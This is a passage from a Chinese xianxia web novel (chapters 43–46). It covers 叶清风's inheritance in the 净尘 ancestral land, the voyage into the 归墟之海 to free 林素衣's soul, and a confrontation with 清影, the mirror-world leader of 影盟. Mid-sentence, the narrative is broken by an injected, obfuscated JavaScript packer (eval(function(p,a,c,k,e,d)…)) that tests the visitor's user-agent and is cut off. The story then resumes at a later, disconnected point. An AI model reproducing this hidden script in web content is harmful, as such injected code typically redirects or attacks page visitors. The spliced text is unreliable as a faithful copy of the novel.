“此炉名‘凤鸣’,是净尘仙子炼丹所用,内蕴一丝凤凰真火。”时之眼道,“炉中还有三颗‘九转涅槃丹’,是仙子当年炼制,可助人重塑肉身,起死回生——前提是魂魄尚存。” 九转涅槃丹! 叶清风眼睛一亮。 林素衣的残魂还在,若有此丹…… 他毫不犹豫选择了凤鸣炉。 第三个房间,是一面镜子。 不是净尘镜,而是一面巴掌大小的铜镜,镜面模糊,照不出人影。 “此镜名‘观心’,可照见人心善恶,破除一切幻术。”时之眼道,“但它真正的用途,是寻找‘魂归之法’的线索。你带着它,它会指引你去该去的地方。” 叶清风拿起观心镜,镜面突然变得清晰,映照出的不是他的脸,而是一片陌生的海域,海域中央有一座孤岛,岛上有一棵参天古树。 画面一闪而过。 “这是……” “魂归之法的线索。”时之眼道,“但具体在哪,需要你自己去探索。” 叶清风将三件宝物收好,回到宫殿中央。 “考验结束了。”时之眼的光芒开始黯淡,“我的使命完成了。现在,送你离开祖地。” “等等。”叶清风急问,“净尘祖地的入口,以后还能再来吗?” “可以,但需要‘钥匙’。”时之眼道,“钥匙就是你的净尘血脉加上《净尘真经》的认可。当你需要时,默念真经总纲,便可再次进入。” 它顿了顿: “最后,给你一个忠告:镜像世界已经开启,两个世界的交融不可避免。你必须尽快变强,因为真正的危机……还未到来。” “什么意思?” “镜像世界中的净尘仙子,为何要帮你们?”时之眼缓缓道,“她与这个世界的净尘仙子,虽然同源,但经历三万年的独立演化,早已是不同的个体。她出手相助,必有图谋。” “还有,魔尊与心魔之主的融合,真的被彻底封印了吗?别忘了,完整魔尊在被封印前,已经将部分力量注入了镜像通道。” “那些力量,现在在哪?” 叶清风心中一震。 “你是说……” “我说什么不重要,重要的是你要自己去发现真相。”时之眼最后的光芒凝聚成一道门,“现在,回去吧。外面的人,等急了。” 叶清风踏入光门。 再睁眼时,已经回到了天池边。 玄诚子等人围着他,脸上满是担忧。 “清风,你怎么样?”玄诚子急问,“你突然就昏过去了,已经三天了!” 三天? 叶清风一愣。他在净尘祖地感觉只过了几个时辰,外界竟然过了三天。 “我没事。”他摇头,看向手中的三件宝物,“我去了净尘祖地,获得了传承。” 他将经历简要说了一遍,但隐去了关于镜像世界危机的部分——现在说出来只会徒增恐慌。 当听到九转涅槃丹时,所有人的眼睛都亮了。 “这丹真能救素衣?”花无暇激动地问。 “理论上可以。”叶清风道,“但需要找到她的残魂所在。” “在哪里?” 叶清风取出观心镜,镜面再次浮现出那片海域和孤岛。 “这是……‘归墟之海’!”素青真人惊呼,“传说中世界的尽头,时间和空间的交汇处!” “归墟之海在哪?”叶清风问。 “没人知道确切位置。”炎阳真人摇头,“古籍记载,那是一片会移动的海域,只有被选中的人才能找到。” 被选中的人…… 叶清风看向观心镜,镜中的画面再次变化:这次不是海域,而是一个人的背影。 那背影他很熟悉。 是林素衣。 她站在一片虚无中,背对着他,身影虚幻,仿佛随时会消散。 而在她前方,是一面巨大的镜子——正是天池底下的那面连接两个世界的镜门! 镜门已经封闭,但门缝中,隐约有什么东西在蠕动。 黑色的、粘稠的、仿佛有生命的东西。 正在一点点……渗过来。 44. 归墟之海与救援计划 观心镜中的画面持续了十息,然后缓缓消散。 但叶清风已经记住了每一个细节:林素衣虚幻的背影,封闭的镜门,以及那些从门缝中渗出的黑色粘液。那粘液仿佛有生命,在镜面上蠕动、蔓延,所过之处留下腐蚀的痕迹。 “那是什么东西?”花无暇脸色发白。 “魔气……但比我们见过的任何魔气都要精纯、都要邪恶。”素青真人沉声道,“恐怕是完整魔尊被封印前,注入镜像通道的那部分力量。” 玄诚子皱眉:“那些力量不是应该随着通道封闭而消散吗?” “理论上是的。”清虚祖师的虚影——经过三天调息,勉强恢复了些——缓缓道,“但如果镜像世界那边,有人接收了这些力量,并且用某种方法维持着它与这个世界的连接……” 他没有说完,但意思很明确了。 镜像世界那边,有人在打这边的主意。 “必须尽快救回林师妹。”叶清风握紧观心镜,“那些黑色粘液在不断侵蚀封印,一旦让它们完全渗透过来,后果不堪设想。” “可归墟之海在哪?”萧长风问,“观心镜只显示了一片海域,没有任何方位信息。” 众人沉默。 这时,一直沉默的净尘仙子虚影开口了:“我知道归墟之海在哪。” 所有人的目光都看向她。 “三万年前,我曾去过一次。”净尘仙子的眼神变得悠远,“那是一次……意外。我在时空乱流中迷失,误入了一片奇异的海域。那里的海水倒流,天空中有两个太阳,时间流逝的速度与外界不同。” “我在那里遇到了一位‘守海人’。”她顿了顿,“他说,归墟之海是世界的伤口,是现实与虚幻的交界。只有被‘时之眼’选中的人,才能找到它。” 她看向叶清风:“现在,你被选中了。” “那我该怎么去?” “观心镜会指引你。”净尘仙子道,“但你需要一艘能穿越时空乱流的船,以及……一位熟悉海域的向导。” “船我们有。”花无暇忽然道,“百花谷有一艘‘百花灵舟’,是初代谷主用万花精华炼制,可抵御时空侵蚀。” “向导……”素青真人思索道,“擅长海域探险的宗门……东海‘蓬莱仙岛’如何?他们世代生活在海上,对海域最熟悉。” “蓬莱仙岛远在东海,一来一去至少要半个月。”炎阳真人摇头,“时间来不及。” “那还有谁?” “我倒知道一个人。”云华真人缓缓道,“南海‘鲛人族’的公主‘珠泪’,百年前曾来青玄门交流学习。她熟悉四海,尤其擅长寻找隐秘海域。” “鲛人族……”叶清风想起古籍记载,“他们不是已经隐居千年,不与外界往来了吗?” “所以才需要有人去请。”云华真人看向花无暇,“花谷主与鲛人族有些交情吧?我记得百年前,百花谷曾救治过一位受伤的鲛人长老。” 花无暇点头:“确有此事。那位长老留下了信物,说若百花谷有难,可凭信物去南海寻他。” “那就这么定了。”叶清风当机立断,“花谷主去请鲛人公主,其他人准备百花灵舟和所需物资。三天后,我们出发前往归墟之海。” “我也去。”玄诚子道。 “不,师伯您留下。”叶清风摇头,“天池需要有人镇守。万一那些黑色粘液提前渗透过来,必须有元婴修士坐镇应对。” “可是……” “没有可是。”叶清风罕见地强硬,“这是最合理的安排。您、炎阳前辈、素青师叔留下,我和花谷主、萧师兄,再加上几位金丹弟子前往。” 他顿了顿:“另外,我还需要一个人——净尘剑的剑灵‘小净’。她对净尘气息最敏感,能帮助我们定位林师妹的具体位置。” 净尘剑在丹田中微微震动,小女孩的声音在叶清风脑海中响起:“没问题!我也想早点找到前主人的转世。” 计划定下,众人立刻分头行动。 花无暇带着信物前往南海;云华真人和素青真人去准备百花灵舟;炎阳真人和玄诚子则加固天池防御,尤其是镜门封印的位置。 叶清风则独自来到天池边,盘膝坐下,取出《净尘真经》,开始参悟。 时间紧迫,他必须在三天内尽可能提升实力。归墟之海危机四伏,没有足够的实力,别说救人,连自保都难。 《净尘真经》包罗万象,但他现在最需要的是两样:一是提升修为,二是掌握净化之法。 修为方面,他已经是半步元婴,距离真正的元婴期只差临门一脚。但这临门一脚,往往需要数年甚至数十年的积累。 不过他有优势——净尘血脉刚刚觉醒,与《净尘真经》完美契合。再加上净尘祖地的传承灌注,突破元婴的屏障已经松动。 他闭目凝神,运转真经中的核心功法《净尘九转》。 天地灵气如潮水般涌来,在天池上空形成一个巨大的灵气漩涡。漩涡中心,叶清风的丹田中,金丹开始发生变化。 原本金色的丹体表面,浮现出蓝金色的纹路——那是净尘血脉的显化。纹路越来越密,逐渐覆盖整个金丹。 然后,金丹开始膨胀、收缩,如心脏般跳动。 每一次跳动,都吸收海量的灵气。到第九次跳动时,金丹表面出现了第一道裂痕。 不是破碎的裂痕,而是……孵化的裂痕。 裂痕中,透出柔和的光芒。一个小小的人形虚影,在金丹中若隐若现——那是元婴的雏形。 但就在元婴即将成型的刹那,异变突生。 叶清风丹田中的青玄分光剑,突然震动起来。 不是欢快的震动,而是……警惕的震动。 它感应到了某种危险。 叶清风立刻停止突破,神识扫视四周。天池平静如常,阵法运转正常,没有任何外敌入侵的迹象。 但青玄分光剑的警惕不减反增。 “怎么了?”他在心中问剑灵。 “地下……有东西在动。”剑灵的声音很凝重,“不是那些黑色粘液,是更深的……地底深处。” 叶清风立刻将神识探入地底。 一开始,什么都没有。但当他将神识延伸到三百丈深处时,终于感应到了。 那是……心跳声。 缓慢、沉重、仿佛来自远古的心跳声。 每跳动一次,整个青玄山脉的地脉就微微震动一次。但震动的幅度极小,若非他此刻神识高度集中,根本察觉不到。 “这是什么?”叶清风心中涌起不祥的预感。 他将神识继续下探,想要一探究竟。 但就在神识触碰到心跳源头的刹那—— 轰! 一股恐怖的意志顺着神识反冲上来! 那意志中蕴含着无尽的暴戾、疯狂、饥饿……仿佛一头沉睡了万年的凶兽,刚刚苏醒,急需进食。 而它第一个盯上的,就是叶清风这个“美味”的食物。 “不好!” 叶清风想切断神识连接,但已经晚了。那股意志如附骨之疽,顺着神识冲入他的识海! “滚出去!” 净尘剑和青玄分光剑同时爆发,两股剑气在识海中交织成网,拦住那股意志。 但那股意志太强了,强到超越了化神,甚至超越了清虚祖师的道身!它轻易撕裂剑网,直扑叶清风的灵魂核心! 千钧一发之际,《净尘真经》自动翻开。 书页上,净尘仙子的画像突然活了过来。她伸出虚幻的手,轻轻一按。 “镇。” 一个字,蕴含了净化之道的终极奥义。 那股意志如遭重击,发出无声的惨叫,然后如潮水般退去,缩回地底深处。 叶清风喷出一口鲜血,脸色惨白如纸。仅仅一次交锋,他的神魂就受了重创。 “那是什么东西?”他心有余悸。 净尘仙子的虚影从书中浮现,脸色凝重:“是‘地魔’。” “地魔?” “天地初开时,清气上升为天,浊气下沉为地。但有一部分浊气,在沉淀过程中产生了自我意识,化作了‘地魔’。”净尘仙子解释道,“它们以地脉为食,沉睡于大地深处,万年苏醒一次,每次苏醒都会吞噬大量地脉,引发天地剧变。” 她看向地底:“这一头地魔,恐怕已经沉睡了三万年。现在……它要醒了。” “为什么偏偏是现在?”叶清风不解。 “因为天池的封印松动了。”净尘仙子叹息,“完整魔尊和镜像魔尊的力量冲击,加上林素衣以身为镜封堵通道,这些都在动摇青玄山脉的地基。地魔被惊动了。” “它什么时候会完全苏醒?” “不确定,但不会太久。”净尘仙子看向叶清风,“你必须尽快去归墟之海,救回林素衣。然后……找到应对地魔的方法。” “有什么方法?” “两个选择。”净尘仙子竖起两根手指,“第一,重新加固天池封印,稳定地脉,让地魔继续沉睡。但这需要源海珠和净尘镜完整,还需要至少三位化神期修士联手。” “第二……”她顿了顿,“杀了它。” 叶清风倒吸一口凉气:“杀了地魔?以我们现在的实力……” “所以是二选一。”净尘仙子道,“但无论哪个选择,都需要时间。而地魔不会给我们时间。” 她看向远方:“花无暇回来了。” 果然,天边出现一道粉色流光。花无暇御花而来,落在天池边,脸色却不太好看。 “怎么了?”叶清风迎上去。 “鲛人族……出事了。”花无暇沉声道,“我赶到南海时,发现鲛人族聚居的‘碧波海渊’已经被封锁。周围有大量魔气残留,还有……黑色粘液的痕迹。” “黑色粘液?”叶清风心中一紧,“那些东西渗 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“为了力量。”净尘仙子冷笑,“影盟追求的从来不是正义或邪恶,而是‘掌控’。只要能掌控一切,他们可以与任何人合作,包括魔尊,包括镜像世界。” 她顿了顿:“而现在,他们恐怕已经找到了新的合作伙伴——镜像魔尊,或者……镜像世界中的某个存在。” 局势越来越复杂了。 叶清风感到一阵无力。魔尊、心魔之主、镜像世界、地魔、影盟……敌人一个接一个,而他们这边,林素衣被困,清虚祖师的分神即将消散,净尘仙子只剩虚影。 实力差距太大了。 “还有希望。”净尘仙子似乎看穿了他的想法,“去归墟之海,救回林素衣。她是破局的关键。” “为什么?” “因为……”净尘仙子眼中闪过复杂的光,“她不仅仅是净尘传人。她还是……‘镜心’。” “什么是镜心?” “镜像世界的核心。”净尘仙子缓缓道,“每一个镜像世界,都有一个‘镜心’,它是两个世界连接的枢纽,也是维持镜像平衡的关键。” “林素衣在封堵通道时,她的意识与镜门融合,无意中成为了这个世界的‘镜心’。所以她能感应到两个世界的波动,也能……影响两个世界的平衡。” 她看向叶清风: “如果她能完全掌控镜心的力量,或许我们还有胜算。” “但现在,她被困在镜像夹缝中,意识逐渐消散。我们必须救她出来,在她被完全吞噬之前。” 叶清风深吸一口气,压下心中所有的疑虑和恐惧。 “那就去救。” 他看向花无暇:“百花灵舟准备好了吗?” “准备好了,随时可以出发。” “好。”叶清风转身,对玄诚子等人道,“师伯,天池就交给你们了。在我回来之前,无论如何守住这里。” 玄诚子重重点头:“放心,人在阵在。” 叶清风又看向清虚祖师的虚影:“祖师,地魔的事……” “我会想办法压制。”清虚祖师道,“但最多只能撑一个月。一个月后,若你们还未归来,地魔就会完全苏醒。” “一个月……够了。” 叶清风最后看了一眼天池,然后毅然转身。 “出发,去南海!” 百花灵舟升起,载着叶清风、花无暇、萧长风,以及十名金丹弟子,向南方疾驰而去。 而在他们离开后不久,天池地底,那心跳声……越来越响。 仿佛一头巨兽,正在缓缓睁开眼睛。 与此同时,南海深处,碧波海渊。 鲛人公主珠泪被困在一个气泡中,气泡外是无穷无尽的黑色粘液。粘液如潮水般冲击气泡,每冲击一次,气泡就黯淡一分。 珠泪已经伤痕累累,手中握着一颗发光的珍珠——那是鲛人族的至宝“定海珠”,也是她能撑到现在的原因。 但定海珠的光芒,也在逐渐黯淡。 “撑不住了……”她绝望地想。 就在这时,一道剑光从天而降! 不是黑色,不是血色,而是……纯净的青金色。 剑光斩开黑色粘液,落在气泡前。 一个声音传来: “珠泪公主,净尘宗叶清风,前来救援。” 珠泪抬头,看到灵舟上的身影,眼中闪过希望的光。 但下一秒,她的脸色骤变。 因为那些被斩开的黑色粘液,并没有消散,而是……凝聚成一个人形。 一个穿着黑袍,面容模糊,但腰间挂着一枚“影”字令牌的人。 那人看向叶清风,沙哑地笑了: “终于来了。” “我们等你……很久了。” 45. 归墟之海与时空之锚 南海,碧波海渊。 黑袍人站在黑色粘液凝聚的平台上,腰间“影”字令牌散发着幽光。他的面容依旧模糊,但那双眼睛却清晰无比——左眼漆黑如夜,右眼却是一片诡异的灰白,仿佛能看穿一切。 “影盟七长老,‘无面’。”花无暇认出了对方的身份,声音凝重,“传说中影盟最神秘的杀手,擅长幻术与空间遁术,从未有人见过他的真容。” “百花谷主好眼力。”无面沙哑地笑了,“不过今天,我的目标不是你。” 他看向叶清风:“净尘传人,交出《净尘真经》和净尘剑,我可以放你们一条生路。” “若我不交呢?”叶清风手握青玄分光剑,剑身微微震颤,随时准备出手。 “那就……”无面抬手,黑色粘液如潮水般涌起,在空中凝聚成无数触手,“死。” 触手同时刺出! “百花屏障!”花无暇双手结印,粉色花瓣形成护盾,护住灵舟。 但黑色触手轻易刺穿了屏障,直扑叶清风! “青玄剑气,破!” 叶清风一剑斩出,青金色的剑光撕裂触手。但被斩断的触手并未消散,反而化作更多的小触手,从四面八方围攻。 更麻烦的是,这些触手竟然能吞噬灵力!剑光一接触到它们,威力就迅速减弱。 “这些粘液能吞噬一切能量。”净尘剑灵小净的声音在叶清风脑海中响起,“只能用纯粹的物理攻击,或者……净化之力。” 净化之力? 叶清风心念一动,运转《净尘真经》。蓝金色的净尘之力从体内涌出,附着在剑身上。 这一次,剑光斩过,触手如雪遇阳,迅速消融。 “哦?净尘之力……”无面眼中闪过讶异,“看来你在净尘祖地收获不小。但这还不够。” 他双手一合,黑色粘液突然收缩,凝聚成一柄漆黑的长矛。 长矛一出,整个海渊都开始震动。海水倒流,形成巨大的漩涡,漩涡中心,正是那柄长矛。 “影魔矛,去!” 长矛射出,速度不快,但所过之处,空间都开始扭曲、崩裂。这一击,已经触摸到了“空间法则”的边缘! 叶清风脸色凝重。他能感觉到,这一矛他接不下。 但就在长矛即将命中灵舟的刹那—— “定。” 一个清冷的女声响起。 时间仿佛静止了。 长矛停在半空,黑色粘液停止了蠕动,连倒流的海水都凝固了。 一个身影从海渊深处缓缓升起。 那是一个人身鱼尾的女子,长发如海藻般飘散,皮肤是淡淡的蓝色,眼眸如最纯净的蓝宝石。她的鱼尾上覆盖着七彩鳞片,每一片都散发着柔和的光芒。 鲛人公主,珠泪。 她手中托着一颗拳头大小的珍珠——定海珠。珠光所及之处,一切都静止了。 “珠泪公主!”花无暇惊喜道。 珠泪看向叶清风,微微点头:“多谢诸位前来救援。但现在,请先离开这里。无面长老不是你们能对付的。” “离开?你觉得可能吗?”无面的声音突然响起。 静止的时间……恢复了! 长矛继续刺向灵舟! 但珠泪早有准备,她将定海珠高高举起:“海渊禁制,开!” 海底突然亮起无数符文,符文连接成一个巨大的阵法。阵法中心,海水倒灌,形成一个通往未知空间的通道。 “归墟之海的入口!”珠泪喊道,“快进去!我只能维持十息!” 叶清风毫不犹豫,驾驭灵舟冲向通道。 “想跑?”无面冷笑,长矛转向,刺向通道入口。 但珠泪挡在了长矛前。 她将定海珠按在自己心口,声音决绝:“以我之血,祭定海珠——永镇此渊!” 定海珠炸裂! 不是毁灭性的炸裂,而是化作无数光点,光点融入海渊阵法,让阵法的威力暴涨十倍! 长矛被阵法的力量死死挡住,无法前进分毫。 而无面也被突然爆发的力量震退,黑袍破碎,露出一张……没有五官的脸。 真正的“无面”。 “你……”无面的声音第一次出现了波动,“你竟敢自爆定海珠?那是鲛人族至宝,你——” “为了守护该守护的,值得。”珠泪的身影开始变得透明,但笑容灿烂,“叶清风,替我告诉林素衣……谢谢她当年,救了我妹妹。” 话音落下,她的身影彻底消散。 而通道,在十息之后,缓缓闭合。 灵舟冲进了归墟之海。 一片完全颠倒的世界。 天空在下,大地在上。不,没有大地,只有无尽的海洋,海水倒流,从下往上涌向“天空”。天空中悬挂着两个太阳,一金一银,散发着不同频率的光芒。 更诡异的是,时间在这里失去了意义。 叶清风看到,灵舟左侧,一株海草在瞬息间完成生长、开花、枯萎的全过程;右侧,一块礁石却在逆向变化,从破碎到完整,从风化到崭新。 “这就是归墟之海……”萧长风喃喃道,“时间和空间的混乱之地。” “观心镜有反应了。”叶清风取出镜子,镜面映照出林素衣的身影。这一次,画面更加清晰——她被困在一座孤岛上,岛上只有一棵树,树下有一面镜子。 镜中映照出的,正是此刻的他们。 “她在看着我们。”花无暇轻声道。 “那棵树……”叶清风仔细观察,“是‘时空之树’!传说中连接过去、现在、未来的神树,只生长在时空节点上。” “所以那座孤岛,就是归墟之海的时空节点。”净尘剑灵小净忽然开口,“我感应到了,前主人的转世之身……就在那里。” “怎么过去?” “看镜子的倒影。”花无暇指向观心镜,“镜中映照的孤岛,在我们正下方。但在归墟之海,上下是颠倒的,所以实际上……” “在我们正上方。”叶清风抬头。 果然,在“天空”的尽头,隐约可见一座岛屿的倒影。 灵舟调转方向,向“上”航行。 但归墟之海的航行,远比想象中困难。 首先,这里没有方向。上下左右都是海水,唯一的参照物是那两个太阳,但它们的位置也在不断变化。 其次,时空乱流无处不在。有时灵舟会突然加速,有时又会莫名停滞。有一次,灵舟甚至短暂地“回到”了进入通道前的时刻——他们看到了珠泪自爆定海珠的那一幕,却无法干预,因为那只是时空的“回响”。 “这样下去,我们永远到不了孤岛。”萧长风皱眉,“时空太混乱了。” 叶清风沉思片刻,取出了《净尘真经》。 书页自动翻到某一页,上面记载着一门法术:“时空锚定术”。 “以净尘之力为引,以自身为锚,可在混乱时空中开辟稳定路径。”他念出上面的文字,“但施术者需承受时空反噬,轻则寿元损耗,重则永困时空夹缝。” “我来。”叶清风毫不犹豫。 “不行!”花无暇和萧长风同时反对。 “这里只有我有净尘血脉,只有我能施展此术。”叶清风平静道,“放心,我有分寸。” 他盘膝坐下,双手结印。 净尘之力从体内涌出,在灵舟前方凝聚成一个蓝金色的锚。锚的末端,连接着叶清风的心脏。 每前进一丈,锚就更凝实一分,而叶清风的脸色就更苍白一分。 他能感觉到,自己的生命力在随着锚的延伸而流逝。这不是简单的灵力消耗,而是真正的“寿元”在燃烧。 但他没有停。 一百丈、一千丈、一万丈…… 当灵舟终于接近孤岛时,叶清风的头发,已经白了一半。 “到了……”他虚弱地说。 孤岛不大,只有百丈方圆。岛上确实只有一棵树,一棵巨大到不可思议的树。树干透明,仿佛水晶雕成,树冠延伸向无尽的虚空,每一片叶子都映照着不同的时空场景。 而在树下,那面镜子前,林素衣的残魂静静站立。 她背对着他们,身影虚幻得几乎要消散。镜中映照出的,是她七岁时的模样——刚入净尘宗,怯生生地牵着师父的衣袖。 “师妹……”叶清风轻声呼唤。 林素衣的残魂微微一动,缓缓转身。 她的面容依旧,但眼神空洞,仿佛失去了所有记忆。看到叶清风,她眼中闪过一丝茫然,然后…… “叶……师兄?”声音微弱如风中残烛。 “是我。”叶清风上前,想要触碰她,但手指却穿过了她的身体。 “没用的。”一个苍老的声音从树中传出,“她的魂魄被‘时空之锚’钉在了这里。除非拔掉锚,否则她永远无法离开。” “时空之锚?”叶清风看向树下。 果然,在林素衣的脚踝上,缠绕着一条透明的锁链。锁链的另一端,深深扎入树干中。 “那是三万年前,净尘仙子留下的锚。”树中声音道,“为了防止镜像世界与这边完全融合,她将两个世界的‘镜心’都锚定在了时空节点上。这边的镜心是这天池的镜门,那边的镜心……是这棵树。” “而现在,林素衣无意中成为了新的镜心,所以她也继承了这份锚定。” “怎么拔掉?”叶清风问。 “需要两把钥匙。”树中声音道,“净尘剑,和……镜像世界那边的‘对应之物’。” “对应之物是什么?” “另一把剑。”树中声音缓缓道,“镜像净尘剑。” 叶清风愣住了。 净 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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林素衣轻轻点头:“这是唯一的方法。” “那就开始吧。” 树中声音开始吟唱古老的咒文。树干亮起七彩光芒,光芒笼罩林素衣的残魂。 残魂逐渐变得凝实,然后……分裂成两半。 一半留在这里,另一半化作流光,射向镜面。 镜面泛起涟漪,流光没入其中。 与此同时,镜子的另一面,也有一道流光射出,融入这边林素衣的残魂。 互换完成了。 这边的林素衣睁开眼睛——眼神变得锐利、警惕,带着一种陌生的气息。 “这里是……”她环顾四周,声音略微低沉。 “归墟之海。”叶清风道,“你是……镜像林素衣?” “是。”镜像林素衣点头,“时间紧迫,我长话短说。镜像世界已被影盟和魔尊掌控,我父亲——也就是镜像世界的林清音,投靠了他们,将我封印在净尘祖地。” “为什么?” “因为他相信,两个世界融合才是唯一的出路。”镜像林素衣眼中闪过痛楚,“他觉得我们这边是‘错误’的世界,应该被纠正。” 她顿了顿:“但现在不是说这些的时候。我的身体在镜像净尘祖地,那里有重兵把守。但我知道一条密道,可以潜入。你们需要做的,是让这边的我去取剑,而我在这边,帮你们应对影盟。” “影盟已经来了。”花无暇指向海面。 只见归墟之海的海面上,出现了无数黑色粘液凝聚的船只。船头,站着一个个黑袍人——全都是影盟的杀手! 而在所有船只的中央,一艘最大的黑色战舰上,站着一个熟悉的身影。 无面。 他身边,还有一个戴着青铜面具的人。 那人腰间,挂着一枚金色的“影”字令牌。 “影盟盟主……”镜像林素衣声音发颤,“他竟然亲自来了。” “他的目标是?”叶清风问。 “归墟之海的核心。”镜像林素衣指向那棵时空之树,“他想毁掉这棵树,让两个世界的时空彻底紊乱,从而强行打开永久通道。” “永久通道?” “一旦打开,两个世界将完全融合,而掌控通道的人……将成为两个世界的主宰。” 影盟盟主缓缓摘下面具。 露出的面容,让所有人都惊呆了。 那是一张……与清虚祖师有七分相似,但更加年轻、更加邪异的脸。 “介绍一下。”他微笑,“我是影盟盟主,也是……镜像世界的清虚。” “或者,你们可以叫我——” “清影。” 46. 镜像清虚与时空之战 清影。 镜像世界的清虚。 叶清风脑海中闪过无数念头:清虚祖师曾经说过,镜像世界中的一切都与本世界相反。既然本世界的清虚是正道领袖,那么镜像世界的他成为影盟盟主,似乎……并不意外。 但真正让人心惊的是,清影身上的气息。 那是一种超越了化神、超越了魔尊、甚至超越了清虚祖师道身的气息。他站在那里,没有刻意释放威压,但整个归墟之海的时空乱流都为之平息,仿佛臣服于他的意志。 “时空的宠儿……”树中声音喃喃道,“镜像清虚,你终究还是走上了这条路。” 清影微笑:“时之眼,三万年不见,你倒是还记得我。” “当然记得。”树中声音——时之眼——带着复杂的情绪,“当年你选择留在镜像世界,说要走出一条不同的路。我没想到,这不同的路……是与影盟为伍。” “影盟?”清影轻笑,“你错了。不是我与影盟为伍,而是……影盟与我为伍。” 他张开双臂:“我创立了影盟。或者说,镜像世界的影盟,本就是我为了掌控两个世界而建立的工具。” 话音落下,所有黑袍人同时单膝跪地,齐声高呼:“参见盟主!” 声势震天。 镜像林素衣脸色苍白:“所以这些年,影盟在镜像世界的所有行动,都是你在背后操控?” “不错。”清影点头,“包括封印你,包括与魔尊合作,包括打通两个世界的通道……都是我计划的一部分。” “为什么?”叶清风忍不住问,“你是清虚祖师的镜像,本该与他一样守护苍生,为何要这样做?” “守护苍生?”清影的笑容变得讽刺,“哪个苍生?这个世界的?还是镜像世界的?” 他指向镜像林素衣:“在你们眼中,她只是镜像,是副本。但在我们镜像世界的人眼中,你们才是副本,是错误,是应该被纠正的存在。” “三万年了,镜像世界一直活在这个世界的阴影下。我们的一切都被注定,我们的命运被你们决定。凭什么?” 清影的眼神变得锐利:“我要打破这个桎梏。我要让两个世界平等,甚至……让镜像世界成为主导。” “所以你要强行融合两个世界。”时之眼叹息,“但你可知,强行融合的后果?时空崩溃,法则紊乱,两个世界都将毁灭!” “毁灭后重生。”清影平静道,“就像凤凰涅槃,只有烧掉旧世界,才能迎来新世界。而我将成为新世界的……造物主。” 疯了。 这是所有人心中同时闪过的念头。 清影已经彻底疯了。为了所谓的“平等”,他不惜毁灭两个世界。 “我不会让你得逞。”叶清风握紧青玄分光剑,净尘剑也在丹田中蓄势待发。 “就凭你?”清影瞥了他一眼,“半步元婴,加上两把剑,就想拦我?” 他轻轻抬手。 只一个动作。 叶清风就感到一股无形的力量扼住了他的喉咙,将他整个人提了起来!灵力被封,剑意被压制,连净尘血脉都仿佛凝固了。 “清风!”花无暇和萧长风想救援,但刚一动,就被同样的力量定在原地。 “别急。”清影微笑,“等我毁了时空之树,再来收拾你们。” 他走向时空之树。 每走一步,脚下的海水就凝固一分,化作黑色的水晶阶梯。阶梯延伸到树下,正好停在林素衣残魂——或者说,此刻占据这具残魂的镜像林素衣意识——面前。 “让开。”清影淡淡道。 “不让。”镜像林素衣咬牙,“父亲,收手吧。现在回头还来得及。” “父亲?”清影笑了,“你还认我是父亲?那为何要背叛我,逃到这个错误的世界?” “因为我不想看着两个世界毁灭!”镜像林素衣眼中含泪,“母亲临死前说过,两个世界本是一体,应该和平共处,而不是互相毁灭!” “你母亲……”清影的眼神闪过一丝波动,但随即恢复冰冷,“她太天真了。和平共处?你看看这个世界的人,他们何曾将我们视为平等?” 他指向叶清风:“他看你时,眼中的是怜悯,是同情,是对‘副本’的惋惜。何曾有过真正的尊重?” “那也不是毁灭世界的理由!”镜像林素衣挡在树前,“如果你想毁树,就先杀了我。” 清影沉默片刻。 “好。” 他抬手,指尖凝聚出一缕灰光。 那光芒没有任何威势,但时之眼却发出了惊恐的尖叫:“时空湮灭!清影你疯了?!用这种禁术,你自己也会被反噬的!” “值得。”清影轻声道,“为了新世界。” 灰光射出。 缓慢,但不可阻挡。 镜像林素衣闭上眼睛,准备迎接死亡。 但就在灰光即将触及她的刹那—— 一道身影突然挡在了她面前! 是叶清风! 不知何时,他竟然挣脱了清影的束缚! “什么?”清影眼中闪过讶异。 叶清风的头发已经完全变白,皮肤上浮现出无数裂纹,裂纹中透出蓝金色的光芒。他燃烧了全部的生命力和净尘血脉,强行冲破了时空禁锢! “青玄分光剑——斩因果!” 剑光不是斩向清影,而是斩向那缕灰光与清影之间的“因果线”! 这是他第二次用这招,但这一次,威力远胜之前。因为他的剑意中,融入了净尘之力,融入了对“守护”之道的理解。 剑光斩下,灰光微微一滞。 就是这一滞的瞬间,净尘剑从叶清风丹田中飞出,小净的虚影浮现,双手结印: “净尘九转——时空倒流!” 以净尘剑为核心,方圆十丈内的时间开始逆向流动! 灰光退回清影指尖,清影本人也后退了一步。 但小净的身影迅速黯淡,净尘剑的光芒也黯淡了大半——强行倒流时间,代价太大了。 “有意思。”清影眼中闪过真正的惊讶,“净尘剑竟认你为主,还愿意为你施展禁术。看来你在净尘祖地得到的,比我想象的更多。” 他收起指尖灰光:“我突然改变主意了。杀了你太可惜,不如……让你成为新世界的第一批子民。” 他抬手,五指虚抓。 叶清风感到一股恐怖的吸力传来,要将他整个人拖入某个未知的空间! “休想!” 镜像林素衣突然出手,一掌拍在自己心口,喷出一口精血。精血在空中化作一个复杂的符文,印向清影。 “血脉禁制?”清影皱眉,“你竟用这种两败俱伤的法术?” “只要能阻止你,值得。”镜像林素衣脸色惨白,但眼神坚定。 符文落在清影身上,化作无数锁链,将他暂时困住。 “快走!”她对叶清风喊道,“带我的身体去镜像世界取剑!这里……我来挡住!” “你挡不住。”叶清风摇头。 “挡不住也要挡。”镜像林素衣笑了,“因为这是……我的选择。” 她转身,双手按在时空之树上:“时之眼,帮我!” 树中传来一声叹息。 然后,整棵树开始发光。 光芒越来越盛,最终化作一道光柱,冲天而起!光柱中,隐约可见无数时空片段在流转:过去、现在、未来,两个世界的历史交织在一起。 “时空封印……”清影脸色终于变了,“时之眼,你竟愿意燃烧自己,发动这种禁术?” “为了阻止你,值得。”时之眼重复了镜像林素衣的话。 光柱落下,将清影和所有影盟的黑色船只笼罩。 时间,在这一刻静止了。 不,不是完全静止,而是放慢了亿万倍。清影的动作变得极其缓慢,那些黑色船只也停滞在海面上。 但叶清风等人却没有受到影响。 “时空封印只能维持三天。”镜像林素衣虚弱地说,“三天内,你们必须取回镜像净尘剑,然后回来毁掉时空之树。” “毁树?”花无暇不解,“那你们……” “树毁了,时空封印才会解除。”镜像林素衣道,“而我和时之眼……会与树一同消散。” 